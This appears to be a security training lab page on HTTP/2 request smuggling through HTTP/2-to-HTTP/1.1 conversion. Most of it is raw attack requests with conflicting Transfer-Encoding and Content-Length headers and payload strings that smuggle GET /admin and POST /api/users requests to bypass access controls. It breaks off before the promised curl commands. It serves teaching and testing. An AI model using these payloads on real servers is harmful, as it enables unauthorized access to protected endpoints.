HTTP/2 to HTTP/1.1 conversion issues
This lab demonstrates HTTP/2 Request Smuggling vulnerabilities that occur during the conversion from HTTP/2 to HTTP/1.1. Many reverse proxies and load balancers convert HTTP/2 requests to HTTP/1.1, which can introduce parsing differences.
Objective: Exploit HTTP/2 specific features and conversion issues to smuggle requests past security controls.
// HTTP/2 Request Smuggling Examples // 1. Transfer-Encoding in HTTP/2 POST /3.php HTTP/2 Host: example.com Transfer-Encoding: chunked Content-Length: 3 0 SMUGGLED // 2. HTTP/2 Pseudo-Headers POST /3.php HTTP/2 Host: example.com :method: POST :path: /3.php :scheme: https :authority: example.com Content-Length: 3 0 SMUGGLED // 3. Header Name Case Sensitivity POST /3.php HTTP/2 Host: example.com content-length: 3 Transfer-Encoding: chunked 0 SMUGGLED
0\r\n\r\nSMUGGLED - Basic HTTP/2 payload0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n - Admin access0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=admin - API accessTry these payloads in the request body:
0\r\n\r\nSMUGGLED0\r\n\r\nGET /admin HTTP/1.1\r\nHost: example.com\r\n\r\n0\r\n\r\nPOST /api/users HTTP/1.1\r\nHost: example.com\r\nContent-Length: 10\r\n\r\nuser=adminUse these curl commands to test the vulnerability: